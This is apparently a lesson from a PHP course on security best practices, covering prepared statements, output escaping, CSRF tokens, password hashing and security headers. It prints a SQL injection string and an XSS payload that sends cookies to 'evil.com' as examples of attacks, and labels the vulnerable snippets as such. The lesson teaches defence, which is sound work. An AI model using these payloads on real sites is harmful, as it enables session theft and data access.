advanced Step 15 of 16

Security Best Practices

PHP Programming

Security Best Practices

Security is not an optional add-on — it must be built into your PHP applications from the start. PHP applications are frequent targets for attacks because PHP powers so many websites. The most common vulnerabilities include SQL injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), insecure file uploads, and weak authentication. Understanding these attack vectors and their mitigations is essential for every PHP developer, regardless of whether you use a framework or write plain PHP.

Preventing SQL Injection

<?php
// VULNERABLE — never do this!
$name = $_GET['name'];
$sql = "SELECT * FROM users WHERE name = '$name'";
// Attacker sends: ?name=' OR '1'='1
// Query becomes: SELECT * FROM users WHERE name = '' OR '1'='1'

// SAFE — use prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = :name");
$stmt->execute(['name' => $_GET['name']]);
$users = $stmt->fetchAll();

// SAFE — parameterized queries prevent injection regardless of input
// The database treats parameters as DATA, never as SQL code
?>

Preventing XSS

<?php
// VULNERABLE — user input rendered as HTML
echo "<p>Welcome, {$_GET['name']}</p>";
// Attacker sends: ?name=<script>document.location='evil.com?c='+document.cookie</script>

// SAFE — escape all output
echo "<p>Welcome, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "</p>";

// Create a helper function
function e(string $value): string {
    return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}

// Usage in templates
echo "<p>Welcome, " . e($username) . "</p>";
echo "<input value='" . e($value) . "'>";

// Content Security Policy header (additional XSS protection)
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
?>

CSRF Protection

<?php
// Generate CSRF token
function generateCsrfToken(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function validateCsrfToken(string $token): bool {
    return isset($_SESSION['csrf_token'])
        && hash_equals($_SESSION['csrf_token'], $token);
}

// In the form
$token = generateCsrfToken();
?>
<form method="POST" action="/transfer">
    <input type="hidden" name="csrf_token" value="<?= e($token) ?>">
    <input type="text" name="amount">
    <button>Transfer</button>
</form>

<?php
// On form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!validateCsrfToken($_POST['csrf_token'] ?? '')) {
        http_response_code(403);
        die('Invalid CSRF token');
    }
    // Process the form safely
}
?>

Secure Authentication

<?php
// Password hashing
$password = 'user_password_123';
$hash = password_hash($password, PASSWORD_DEFAULT);
// Produces: $2y$10$... (bcrypt hash)

// Password verification
if (password_verify($password, $hash)) {
    echo "Password is correct";
}

// Check if hash needs rehashing (algorithm updated)
if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
    $newHash = password_hash($password, PASSWORD_DEFAULT);
    // Update in database
}

// Secure session configuration
ini_set('session.cookie_httponly', '1');     // No JavaScript access
ini_set('session.cookie_secure', '1');       // HTTPS only
ini_set('session.cookie_samesite', 'Lax');   // CSRF protection
ini_set('session.use_strict_mode', '1');     // Reject uninitialized session IDs
session_regenerate_id(true);                  // After login

// Rate limiting (basic)
function checkRateLimit(string $key, int $maxAttempts = 5, int $windowSeconds = 300): bool {
    $cacheKey = "rate_limit:$key";
    $attempts = apcu_fetch($cacheKey) ?: 0;
    if ($attempts >= $maxAttempts) {
        return false;  // Rate limited
    }
    apcu_store($cacheKey, $attempts + 1, $windowSeconds);
    return true;
}

if (!checkRateLimit("login:" . $_SERVER['REMOTE_ADDR'])) {
    http_response_code(429);
    die("Too many attempts. Try again later.");
}
?>

Security Headers

<?php
// Essential security headers
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: strict-origin-when-cross-origin');
header("Content-Security-Policy: default-src 'self'");
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
header('Permissions-Policy: camera=(), microphone=(), geolocation=()');
?>
Pro tip: Use hash_equals() for comparing tokens and hashes instead of ===. The hash_equals function is timing-safe, meaning it takes the same amount of time regardless of how much of the string matches. This prevents timing attacks where an attacker measures response times to guess tokens character by character.

Key Takeaways

  • Prevent SQL injection with prepared statements; prevent XSS with htmlspecialchars() on all output.
  • Use CSRF tokens for state-changing requests (POST, PUT, DELETE) to prevent cross-site request forgery.
  • Use password_hash()/password_verify() for passwords — never use MD5, SHA1, or plain text.
  • Set security headers (Content-Security-Policy, X-Frame-Options, etc.) on every response.
  • Use hash_equals() for timing-safe token comparisons and random_bytes() for cryptographic randomness.